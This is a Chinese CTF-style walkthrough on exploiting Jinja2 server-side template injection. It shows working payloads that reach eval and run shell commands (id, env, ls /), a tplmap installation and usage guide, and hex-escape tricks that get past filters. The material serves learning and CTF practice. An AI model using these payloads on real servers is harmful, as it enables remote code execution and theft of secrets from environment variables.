方法一:手注
打开只有这个
访问http://your-ip/?name={{233233}},得到54289,说明它执行了我们的命令,SSTI漏洞存在。
这里的54289是233233的运算结果
获取eval函数并执行任意python代码的POC:
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
打印环境变量poc
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("env").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
方法2:
用tplmap脚本
Tplmap是一个python工具,可以通过使用沙箱转义技术找到代码注入和服务器端模板注入(SSTI)漏洞。该工具能够在许多模板引擎中利用SSTI来访问目标文件或操作系统。一些受支持的模板引擎包括PHP(代码评估),Ruby(代码评估),JaveScript(代码评估),Python(代码评估),ERB,Jinja2和Tornado。该工具可以执行对这些模板引擎的盲注入,并具有执行远程命令的能力。
拓:
kali下安装tplmap(安装之前虚拟机要换源不然的话可能会报错,换源的教程我写在awd里)
kali2020版及以上, 输入python2命令会执行python2, python3也存在。
但pip默认是pip3, 而我们需要的是pip2, 所以我们需要先安装pip2
#进入家目录
cd
#建立目录ins-pip2
mkdir ins-pip2
#下载pip2安装脚本
wget https://bootstrap.pypa.io/pip/2.6/get-pip.py
#python2执行 需要sudo权限
sudo python2 get-pip.py
#升级pip2
sudo pip2 install --upgrade pip
#安装pip2扩展工具,不然后面安装还是报错
sudo pip2 install --upgrade setuptools
tpl是用python2编写的,报错一般是使用py3
#使用git克隆tplmap
git clone https://github.com/epinna/tplmap #这里如果报错的话把https换成git
cd tplmap
sudo pip2 install -r requirements.txt
tplmap使用模板
./tplmap.py -u <'目标网址'>
拓展:查看根目录(ctf简单的题目flag一般在根目录)
http://114.67.246.176:17130/?flag={{ config.__class__.__init__.__globals__['os'].popen('ls /').read() }}
关于绕过 _ ’ . 这三个被过滤了,但可以用十六进制绕过
注意:模板注入时可以使用,但正常的python语法是不支持的
_ \x5f \x5F
. \x2E
单引号'被过滤可以用双引号"代替
用"[] (类似数组下标)"的方式选定
也就是说下面的写法是等价的
{{"".__class__}}
{{""["\x5f\x5fclass\x5f\x5f"]}}